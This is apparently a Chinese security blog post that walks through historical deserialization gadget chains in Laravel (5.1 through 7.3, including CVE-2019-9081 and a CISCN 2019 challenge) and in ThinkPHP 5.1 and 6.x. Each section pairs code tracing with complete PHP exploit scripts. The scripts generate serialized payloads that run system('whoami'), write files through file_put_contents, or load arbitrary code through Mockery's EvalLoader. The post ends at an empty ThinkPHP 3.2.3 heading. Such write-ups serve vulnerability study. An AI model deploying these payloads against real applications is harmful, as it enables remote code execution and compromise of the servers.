Laravel历史漏洞
【5.1】反序列化
POC1
入口类
vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php - Swift_KeyCache_DiskKeyCache

对 _keys 进行遍历,然后调用 clearAll

如果 nskey 再 this->_keys 中存在,就对 _keys[nskey] 在进行遍历,然后 clearkey

然后走到 haskey

this->path 可控,触发某类 tostring。
这里找到类 vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php - Swift_KeyCache_DiskKeyCache


这里直接令 this -> rfc =

剩下链子跟上面 【5.8&7.3】- POC4 相同了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
namespace Faker {
class DefaultGenerator { protected $default;
public function __construct() { $this->default = "whoami"; } }
class ValidGenerator { protected $generator; protected $validator; protected $maxRetries;
public function __construct() { $this->generator = new DefaultGenerator(); $this->maxRetries = 1; $this->validator = 'system'; } } }
namespace Mockery\Generator {
use Faker\ValidGenerator;
class DefinedTargetClass { private $rfc;
public function __construct() { $this->rfc = new ValidGenerator(); } } }
namespace {
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache { private $_keys = ['zzz' => array('zzz' => 'zzz')]; private $_path;
public function __construct() { $this->_path = new DefinedTargetClass(); } }
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache())); }
|
POC2
找到其他类的 __tostring。
vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php - Deprecated

这样同理啊,控制了 this -> description 之后就可以调用上面的 call了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php
namespace Faker {
class DefaultGenerator { protected $default;
public function __construct() { $this->default = "whoami"; } }
class ValidGenerator { protected $generator; protected $validator; protected $maxRetries;
public function __construct() { $this->generator = new DefaultGenerator(); $this->maxRetries = 1; $this->validator = 'system'; } } }
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\ValidGenerator;
class Deprecated { protected $description;
public function __construct() { $this->description = new ValidGenerator(); } } }
namespace {
class Swift_KeyCache_DiskKeyCache { private $_keys = ['zzz' => array('zzz' => 'zzz')]; private $_path;
public function __construct() { $this->_path = new phpDocumentor\Reflection\DocBlock\Tags\Deprecated(); } }
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache())); }
|
POC3
还是刚才的入口类,tostring 又换了一换。
vendor/phpspec/prophecy/src/Prophecy/Argument/Token/ObjectStateToken.php - ObjectStateToken

还是寻找 call,找到一个老生常谈的 call,但是因为这次 stringify 是九个字符,所以稍有不同。
找到类:
vendor/laravel/framework/src/Illuminate/Validation/Validator.php - Validator

这次 rule = ‘y’,好了你会发现版本变成 5.1 后,代码变了。

他要求 callback 是 closure 类的一个实例化,这就有点难利用了,只能走下面分支。依稀记得新版本是 is_callable 所以链子到这儿就完事儿了。
好了往下走,callback 是一个字符串了。

好了这个意思就是:

也就是说 class 和 method 都可控。
那么后面就是看 找一个类 如果控制 this->container->make,这里 make 不好利用,还是想到之前那个随便返回东西的 default,这下全部都可控了,就差一个后门类了。
找到类 :
vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php - EvalLoader
这个类如此简洁,专为后门设计。

只需要 class_exists(classname) 为假,即不存在这个类即可。

随便找到一个有 getName 方法的类。
vendor/laravel/framework/src/Illuminate/Session/Store.php - Store

好了胡乱填一个直接完美。

getcode 也可控,直接传马即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| <?php
namespace Illuminate\Session { class Store { protected $name;
public function __construct() { $this->name = 'A_class_Not_Exist'; } } }
namespace Mockery\Loader { class EvalLoader { } // 后门类 }
namespace Mockery\Generator {
use Illuminate\Session\Store;
class MockDefinition { protected $code; protected $config;
public function __construct() { $this->code = "<?php phpinfo();?>"; $this->config = new Store(); } } }
namespace Faker {
use Mockery\Loader\EvalLoader;
class DefaultGenerator { protected $default;
public function __construct() { $this->default = new EvalLoader(); } } }
namespace Illuminate\Validation {
use Faker\DefaultGenerator;
class Validator { public $container; protected $extensions;
public function __construct() { $this->extensions['y'] = 'SUIBIANparams@load'; $this->container = new DefaultGenerator(); } } }
namespace Prophecy\Argument\Token {
use Illuminate\Validation\Validator; use Mockery\Generator\MockDefinition;
class ObjectStateToken { private $util; private $value;
public function __construct() { $this->util = new Validator(); $this->value = new MockDefinition(); } } }
namespace {
use Prophecy\Argument\Token\ObjectStateToken;
class Swift_KeyCache_DiskKeyCache { private $_keys = ['zzz' => array('zzz' => 'zzz')]; private $_path;
public function __construct() { $this->_path = new ObjectStateToken(); } }
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache())); }
|

【5.4】反序列化
POC1
链子和 [5.8] 那 POC1 一样,不过换成用其他类 destruct + 引用绕过,来进行一些 wakeup 后的 二次赋值。
在这之前我们进行一些妙妙测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
class A{ public function __construct($qwq){ $this->qwq = $qwq; } public function __destruct(){ echo "这是外面类的 destruct".PHP_EOL; } public function __wakeup(){ echo "这是外面类的 wakeup".PHP_EOL; } }
class B{ public function __construct($qwq){ $this->qwq = $qwq; } public function __destruct(){ echo "这是里面类的 destruct".PHP_EOL; } public function __wakeup(){ echo "这是里面类的 wakeup".PHP_EOL; } }
$a = new A(new B("qwq"));
unserialize('O:1:"A":1:{s:3:"qwq";O:1:"B":1:{s:3:"qwq";s:3:"qwq";}}');
|
显然对于这个来说,调用顺序如下:
1 2 3 4
| 这是里面类的 wakeup 这是外面类的 wakeup 这是外面类的 destruct 这是里面类的 destruct
|
我们希望在本链子中的调用顺序是:
1 2 3 4
| #Generator.wakeup //删掉 #CollectionConfigurator.destruct //赋值 #PendingBroadcast.destruct //入口类 #Generator.call //call接下文
|
所以,赋值类需要是外围类,给他随便加一个 qwq 属性凑入 PendingBrocast 类,PendingBrocast类下属的 Generator类 就在下面正常,即可。
下面开始审计:
找到类:
vendor/symfony/routing/Loader/Configurator/CollectionConfigurator.php

第一个行什么都没做。

这里 151 行有一个赋值操作,但是可惜不可控。

、
这个有点过于可控了,非常的完美,注意引用的时候要引用 this->parent 这个类下面的 routes 才是 126 行设置的 routes。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php
namespace Faker{ class Generator { public $formatters; } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public $qwq; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace Symfony\Component\Routing{ class RouteCollection{ public function __construct(){ $this->routes = array("dispatch"=>"system"); } } }
namespace Symfony\Component\Routing{ class Route implements \Serializable {
public function serialize() { return serialize([ 'path' => $this->path, 'host' => $this->host, 'defaults' => $this->defaults, 'requirements' => $this->requirements, 'options' => $this->options, 'schemes' => $this->schemes, 'methods' => $this->methods, 'condition' => $this->condition, 'compiled' => $this->compiled, ]); }
public function unserialize($data) { } } }
namespace Symfony\Component\Routing\Loader\Configurator{ class CollectionConfigurator{ public $routes = ["dispatch"=>"system"];
public function __construct($route,$collection,$parent,$qwq) { $this->route = $route; $this->collection = $collection; $this->parent = $parent; $this->qwq = $qwq; }
} }
namespace{ $b = new Faker\Generator(); $a1 = new Symfony\Component\Routing\Route(); $a2 = new Symfony\Component\Routing\RouteCollection(); $a3 = new Symfony\Component\Routing\RouteCollection(); $a4 = new Symfony\Component\Routing\RouteCollection(); $a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami"); $b->formatters = &$a3->routes; $qwq = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a1,$a2,$a3,"1"); $qwq->qwq = $a; echo urlencode(serialize($qwq)); }
|
注意注意:
注意到 Route 类有 unseriablize 方法:

这个方法会在 destruct 前被触发,因而 $serialized 变量中必须有值,这个值 就来自于:

所以这段不能省略,否则报错。
然后 php 高版本(>=7.1)对公私有属性不敏感,所以基本上没报错就不用 care 了。
【5.7】反序列化(CVE-2019-9081)
在 laravel 框架中没有现成的反序列化接口,当此 cve 复现时需要手动创建可以反序列化的 controller 或者对一些成品进行二次审计,对于此次复现,我们采用前者。
环境搭建:
laravel5.7 反序列化漏洞分析_laravel lumen漏洞-CSDN博客
laravelv5.7反序列化rce(CVE-2019-9081) | WisdomTree’s Blog
1
| composer create-project --prefer-dist laravel/laravel blog 5.7.*
|
App\Http\Controllers\qwqqwq
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php namespace App\Http\Controllers;
use Illuminate\Http\Request;
class qwqqwq extends Controller { public function kb() {
if(isset($_GET['a'])){ $code = $_GET['a']; unserialize($code); } else{ highlight_file(__FILE__); } return "kb"; } } ?>
|
\routes\web.php
1
| Route::get('/test', "qwqqwq@kb");
|
注意,访问时候倘若服务器没有配置重写,请访问:
1
| http://your-host/index.php/test
|
下面开始复现:
首先,5.7版本比5.6多了一个 vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php 方法,也就是入口的 destruct。


默认就是 false,走到 run 方法。

先走到 mockConsoleOutput。

跟进 163 行,createABufferedOutputMock。

这里对 test 属性中 expectedOutput 进行遍历,但是没有一个但在我们可以实例化的类中,没有一个类存在 expectedOutput 属性,那么我们可以想到一个 _get 魔术方法,倘若控制 _get 来控制这个值,我们就可以做到遍历而不报错退出,毕竟我们的危险函数不在这里,所以我们只需 走通 即可。
找到 Illuminate\Auth\GenericUser 中的 _get 方法:

这里可以控制值,所以就可以正常走通了。
走通之后回到 mockConsoleOutput 方法:

还是进行遍历,所以说相同的方法,走到 _get

走通之后回来,走到危险函数:

我们单步进去,

这里的 offsetGET 就相当于一个魔术方法,对于 this->app 来说其实他是一个实例化的类,本应箭头调用,但是对于代码编写来说,这样用数组调用看起来更简洁,他被数组调用的时候就进入了 ArrayAccess 接口的offsetGet 这个魔术方法。
继续跟。


POC1
最终就是通过这个 return 返回的 object,然后执行 call 命令。
大佬的语言,复制一下:
通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。

问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract]['concrete']。
本来其实是不存在的,所以说就实例化了原来那个 Kernel 类,但是我们可以人为的让这个 concrete 数组存在这个类,从而实例化任意类。
$bindings是vendor/laravel/framework/src/Illuminate/Container/Container.php文件中Container类中的属性。因此我们只要寻找一个继承自Container的类,即可通过反序列化控制 $this->bindings属性。
而Illuminate\Foundation\Application恰好继承自Container类,这就是我选择Illuminate\Foundation\Application对象放入$this->app的原因。
由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Foundation\Application的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。
在这里返回的是Illuminate\Foundation\Application类。

这里就返回了这个类。
而为什么返回这个类呢?
是因为这个类的父类:Container 存在 call 方法,而最后执行命令就是 call 方法

而 Application 是 Container 的子类,自然也有这个方法,所以可以调用call函数执行命令。
好了继续往下走:


不满足条件,660 行 make 一下。


又走一遍,流程都是一样的。

但是这次 abstract 变成 application 这个类了,不存在属性所以直接返回 abstract。

这次总算相等了,进 build。
这个 build 函数就是用来反射创建一个类的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function build($concrete) { $reflector = new ReflectionClass($concrete);
if (! $reflector->isInstantiable()) { return $this->notInstantiable($concrete); }
$constructor = $reflector->getConstructor();
if (is_null($constructor)) { return new $concrete; }
$dependencies = $constructor->getParameters();
$instances = $this->resolveDependencies($dependencies);
return $reflector->newInstanceArgs($instances); }
|

成功走到 application 这个类的父类的 call 方法。


这个 callback 就是 system了,就看看这个 getMethodDependencies 函数对 parameter 做了什么


什么也没做然后 merge 了。
这样 就是
1
| call_user_func_array("system",["whoami"]);
|

成功 RCE。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
namespace Illuminate\Foundation\Testing { class PendingCommand { protected $command; protected $parameters; protected $app; public $test;
public function __construct($command, $parameters, $class, $app) { $this->command = $command; $this->parameters = $parameters; $this->test = $class; $this->app = $app; } } }
namespace Illuminate\Auth { class GenericUser { protected $attributes;
public function __construct(array $attributes) { $this->attributes = $attributes; } } }
namespace Illuminate\Foundation { class Application { protected $bindings;
public function __construct($bind) { $this->bindings = $bind; } } }
namespace { // 生成反序列化链 $payload = new Illuminate\Foundation\Testing\PendingCommand( "system", // command - 要执行的系统命令 array('whoami'), // parameters - 命令参数 new Illuminate\Auth\GenericUser(array( // test 对象 "expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1") )), new Illuminate\Foundation\Application(array( // app 对象 "Illuminate\Contracts\Console\Kernel" => array( "concrete" => "Illuminate\Foundation\Application" ) )) );
var_dump($payload);
echo urlencode(serialize($payload)); }
|
POC2
走到这里的时候,我们直接在上面那一步 return 掉。

直接返回 需要 $needsContextualBuild = 0 且 $this->instances[$abstract] 存在 ,并且返回的其实还是那个 Application 对象,剩下的跟上面也就一样了。

看这行代码,首先 parameters 就是空,所以说 ! empty($parameters) = 0,

后面那个 
本来就啥也没有,所以还是 null。
所以我们只需要把 $this->instances[$abstract] 设置成 Applicaiton 对象就万事大吉了。

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php
namespace Illuminate\Foundation\Testing { class PendingCommand { protected $command; protected $parameters; protected $app; public $test;
public function __construct($command, $parameters, $class, $app) { $this->command = $command; $this->parameters = $parameters; $this->test = $class; $this->app = $app; } } }
namespace Illuminate\Auth { class GenericUser { protected $attributes;
public function __construct(array $attributes) { $this->attributes = $attributes; } } }
namespace Illuminate\Foundation { class Application { protected $instances = [];
public function __construct($a = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $a; } } }
namespace { $a = new Illuminate\Foundation\Application(); $app = new Illuminate\Foundation\Application($a);
$payload = new Illuminate\Foundation\Testing\PendingCommand( "system", array('whoami'), new Illuminate\Auth\GenericUser(array( "expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1") )), $app );
echo "Payload:\n"; echo urlencode(serialize($payload)); echo "\n\nRaw serialized data:\n"; echo serialize($payload); }
|
【5.8 & 7.3】反序列化
入口类在:
\vendor\laravel\framework\src\Illuminate\Broadcasting - PendingBroadcast

POC1(此路此版本不通)
poc1 是找到一个 可以 RCE 的 call 方法。
this -> events 和 this -> event 都可控。
找到类:
\vendor\fzaninotto\faker\src\Faker - Generator


fommatter 就是 dispatch。
看看下面怎么获取到 system 这个方法。

这里 直接控制 this->formatters 即可达到目的。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
namespace Faker{ class Generator { protected $formatters; public function __construct($formatters) { $this->formatters = $formatters; } } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace{ $b = new Faker\Generator(['dispatch'=>'system']); var_dump($b); $a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami"); var_dump($a); echo urlencode(serialize($a)); var_dump(unserialize(serialize($a))); }
|
想的很美好吧!!!

其实这里有一个 wakeup,直接挡住了你的去路哈哈哈哈哈哈哈哈哈哈哈。
拯救版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php
namespace Faker{ class Generator { protected $formatters; public function __construct($formatters) { $this->formatters = $formatters; } } }
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $event; protected $events;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } }
namespace{ $b = new Faker\Generator(['dispatch'=>'system']);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "whoami");
echo serialize($a).PHP_EOL; echo urlencode(serialize($a));
}
|
感觉可以快要通了
Laravel 5.4.*反序列化——对冲__wakeup()的RCE链利用-先知社区

不过这个版本把这条路禁了,换 5.4 来搞。
POC2
入口类同上。
找到另外一个 __call 方法:
\vendor\laravel\framework\src\Illuminate\Validation - Validator

1181 行问一下ai:

那就空呗。
后面就是 :

说白了就是:
1
| call_user_func_array(this->extensions[''],parameters)
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation{ class Validator{
public $extensions = []; public function __construct($extension) { $this->extensions = $extension; } } }
namespace{ $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); echo urlencode(serialize($a)); }
|

POC3
根据 POC2 改编而来。
如果想调用双参数函数的话,那么前面的 poc 就略显无力了。因为 this->event 只能是单字符串,如果传入一个数组,在 call 方法又会变成一个数组,这样就是 [["PATH","content"]] 了。file_put_contents 无法处理了就。
所以说调用双参数函数需要找新的类来辅助调用,我们已知 call_user_func_array 的第一个参数完全可控,那么我们不妨找到一个类能控制后面的参数。
找到 \vendor\phpoption\phpoption\src\PhpOption - LazyOption

这个方法也太好了,全部可控,虽然这个函数是私有的,但是我们可以调用他下面公有函数同样也调用了这个函数。

随便选一个,比如选择 120 行的 filter。
我们只需要 第一个 call_user_func_array 时,把第一个参数设定为 array(类,方法名) 即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php
namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event;
public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } } namespace Illuminate\Validation{ class Validator{
public $extensions = []; public function __construct($extension) { $this->extensions = $extension; } } }
namespace PhpOption { final class LazyOption { private $callback; private $arguments; private $option;
public function __construct($callback, $arguments, $option) { $this->callback = $callback; $this->arguments = $arguments; $this->option = $option; } } }
namespace{ $c = new PhpOption\LazyOption('file_put_contents', array('C:\Users\Lenovo\Desktop\blog3\qwq.php', 'ilovechina'), null); $b = new Illuminate\Validation\Validator(array(''=>array($c,"filter"))); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); echo urlencode(serialize($a)); }
|

POC4
入口类不变。
找一个类:
\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php - ValidGenerator
跳到 call:

这里第一个 res 里面的 name 是个 dispatch 他不可控,这很难受,不过 this.generator 可控,这很好。
我们再看到下面那个 call_user_func 这里是 this->validator 可控,res 是上面返回回来的。
我们不由得想到,如果我们能在上面调一下返回一个我们自定义的 res,是不是下面就都可控了。
很难找 dispatch 了,直接找一个自定义返回字符串的 call 吧。
找到:
\vendor\fzaninotto\faker\src\Faker\defaultgenerator.php - DefaultGenerator

这不直接解决了,让它返回一个 "whoami"。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php namespace Faker{
class DefaultGenerator { protected $default; public function __construct(){ $this->default = "whoami"; } } class ValidGenerator { protected $generator; protected $validator; protected $maxRetries; public function __construct(){ $this->generator = new DefaultGenerator(); $this->validator = "system"; $this->maxRetries = 999; } }
}
namespace Illuminate\Broadcasting{ class PendingBroadcast { protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } } }
namespace{ $a = new Faker\ValidGenerator(); $b = new Illuminate\Broadcasting\PendingBroadcast($a,"qwq");
echo urlencode(serialize($b)); }
|

POC5
php 的一个特性:
1
| call_user_func_array("call_user_func",["call_user_func","system","whoami"]);
|
就相当于调用了 system("whoami"); 了。
入口类换了:
vendor/laravel/framework/src/Illuminate/Routing/PendingResourceRegistration.php - PendingResourceRegistration


三个参数都可控,然后方法也可控,直接找 call 吧。
vendor/laravel/framework/src/Illuminate/Validation/Validator.php - Validator

method = register 就八位所以说 rule = “”,然后直接传一个 this->extensions[‘’]=’call_user_func’,直接进这个函数了。
然后就是那三个可控的:
1
| ["call_user_func","system","whoami"]
|

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php namespace Illuminate\Validation { class Validator { public $extensions = [];
public function __construct() { $this->extensions[''] = 'call_user_func'; } } }
namespace Illuminate\Routing {
class PendingResourceRegistration { protected $registrar; protected $registered = false; protected $name = 'call_user_func'; protected $controller = 'system'; protected $options = "whoami";
public function __construct($registrar) { $this->registrar = $registrar; } } }
namespace{ $a = new Illuminate\Validation\Validator(); $b = new Illuminate\Routing\PendingResourceRegistration($a); echo urlencode(serialize($b)); }
|
[CISCN2019 总决赛 Day1 Web4]Laravel1
POC1

vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/TagAwareAdapter.php

这还挺可控的看起来,找到一个有 saveDeferred 方法的。(这次就不找啥 call 方法了)
找到:
vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/PhpArrayAdapter.php

这里跳到 父类抽象类 vendor/symfony/symfony/src/Symfony/Component/Cache/Traits/PhpArrayTrait.php

这里 this->file 可控。

打通。

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php namespace Symfony\Component\Cache{
final class CacheItem{
} } namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem; class PhpArrayAdapter{ private $file; public function __construct() { $this->file = 'C:\Users\Lenovo\Downloads\CISCN_2019_Final_9_Day1_Web4-master\CISCN_2019_Final_9_Day1_Web4-master\source\phpinfo.php'; } }
class TagAwareAdapter{ private $deferred = []; private $pool;
public function __construct() { $this->deferred = array('QWQ' => new CacheItem()); $this->pool = new PhpArrayAdapter(); } } }
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); }
|
这里 deferred 必须有 cacheItem 类的原因如下:

POC2
入口类跟刚才一样。
vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/ProxyAdapter.php -

走进 doSave。

223 行有关键的 可控函数名执行逻辑,下面就看 innerItem 这个参数是怎么获取的。

明显 213 行比较有利于获取 InnerItem,只需要指定一下 item 的受保护属性 innerItem,那个 item 就是被强转成数组的 cacheitem 对象。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
namespace Symfony\Component\Cache{ final class CacheItem{ protected $innerItem = 'whoami'; } }
namespace Symfony\Component\Cache\Adapter{ class ProxyAdapter{ private $setInnerItem = 'system'; }
}
namespace Symfony\Component\Cache\Adapter{ class TagAwareAdapter{ private $deferred = []; private $pool; public function __construct($deferred,$pool){ $this->deferred = $deferred; $this->pool = $pool; } } }
namespace { $a = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array("1"=>new Symfony\Component\Cache\CacheItem()),new Symfony\Component\Cache\Adapter\ProxyAdapter()); echo urlencode(serialize($a)); }
|
thinkphp历史漏洞
【TP5.1】反序列化 RCE
首先从 destruct 找起。

进一下 removeFiles,看到这里,发现可以触发 tostring,机会来了。

找到一个 tostring,位于 think\model\concern\Conversion。

直接跟进 toJson。

跟进 toArray,看看。

这里的 visible 看起来比较好利用,找到 visible 但是都不是很好利用,只能想想 call 方法了,顺便说一下,这里进去的条件就是:
this->append 不为空,this->append 中 键名 key,键值 name,name 为数组。
在看一下 relation = $this->getRelation($key);,跟进这个函数看一下。

relation = this->relation[$key],但是为了能进到下面,if(!relation) 为真,所以说这里我们 不能对 this->relation 赋值。
我们往下看,进到 getAttr。

进 getData。
不就返回了一个 relation = this->data[$key]嘛。我们找到一个 call 方法,直接把 类 赋值给这个就行了。
找到 class Request

构造 EXP 的时候可以传入数组,变成 call_user_func_array(array(任意类,任意方法),$args) ,这样我们就可以调用任意类的任意方法了。虽然第330行用 array_unshift 函数把本类对象 $this 放在数组变量 $args 的第一个,但是我们可以寻找不受这个参数影响的方法。比如类似于:
$this->hook = ["visible"=>[$this,"isAjax"]];
这样调用的时候就可以调用本类下面的 isAjax 方法了。

这里 this->param($this->config['var_ajax']),这里可控,往下找找。

进 input,注意注意,$name = $this->config['var_ajax'] ,注意别给人家复制了,要不然就在这里解析了。


看下在写点什么,首先就是 filter = this->getFilter ,看一下。

其实就是 filter = this - > filter,然后插入了一个 default 进去,变成一个数组。
然后下面 array_walk_recursive 函数的意思就是,对于 data 中的每个键值,都调用一下 this->filterValue,并且额外传递一个参数 filter。
那么 data是啥呢,其实找找可以发现,就是 input 的第一个参数,也就是 this->param。

进到这里可以发现了,其实就是 filter($this->param),这里 this->param 需要是一个数组哦。
另外可以注意到,如果不传 param 为固定值也可以在 url 中传,毕竟可以看一下这段代码:

而 $this->mergeParam 默认就是 false 哦。
poc:

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["zzz"=>["zzz"]]; $this->data = ["zzz"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system";
protected $config = []; protected $mergeParam = false; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]];
$this->mergeParam = false; } } namespace think\process\pipes;
use think\model\Pivot; class Windows { private $files = [];
public function __construct() { $this->files=[new Pivot()]; } } namespace think\model;
use think\Model;
class Pivot extends Model { } use think\process\pipes\Windows; echo urlencode(serialize(new Windows())); ?>
|

本地环境不知道咋了打不通,上机通了。
【TP6.x】反序列化 RCE
这题跟个代码试一下吧。
首先找到利用点,控制器的 index.php,unserialize 触发范反序列化,所以我们从 destruct 开始找。

找到一个,跟进去。
lazySave=true,进 save。

进一下 isempty 只需要 this.data 不为空即可。

进一下 trigger 只需要 $this->withEvent] = false 即可。

然后继续看 save 方法,只需要 this.exists 为真即可,进一下 updateData。

漏洞方法为 checkAllowFields 不需要任何条件就触发,跟进去看一下。

漏洞方法是 db,也是无需任何条件就会触发,跟进去。

找到字符串拼接,只需要把 this.table 设置成一个有 tostring 方法的类即可。
找到 src/model/concern/Conversion.php

跟一下跟到 getAttr,

看一下代码逻辑,$data = array_merge($this->data,$this->relation),所以就相当于 $data = $this->data,然后发现这里的 key 就是 $this->data 里的键名,我们假定为 whoami。
再跟一步,

可以知道 $name = whoami,那么 value = $this->getData($name) ,那进 getData 看一哈是什么:

其实就是如果这个键名在 $this->data 中存在就返回 $this->data 的值,绕了一大顿,返回了要执行的那玩意,我们往下看看,这个东西到底需要是什么数据类型。
跟进 getValue 看一哈,

fieldname 其实就是 name,可以看一下这个函数就知道了。

这里要求 fieldname 在 this.Json 这个数组里,并且 this.withAttr 是一个数组。
找到注入点了:

需要 this.jsonAssoc=true。
我们可以看一下嘛,遍历了 $this->withAttr['whoami'] 这个数组,然后得到其中的索引和值,那么 $value[0]="ls / ",$closure = 'system',这下回到刚才的问题了,到底 this->data["whoami"] 也就是 value 需要是什么东西,就是一个数组呗,里头 [0]="ls /"
之后就随便寻找一个可以被实例化的 Model 的子类开始构造。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
namespace think\model\concern;
trait Attribute { private $data = ["Lethe" => "whoami"]; private $withAttr = ["Lethe" => "system"]; }
namespace think;
abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; } }
namespace think\model;
use think\Model;
class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a);
echo urlencode(serialize($b));
|

【TP3.2.3】SQL 纯find 注入

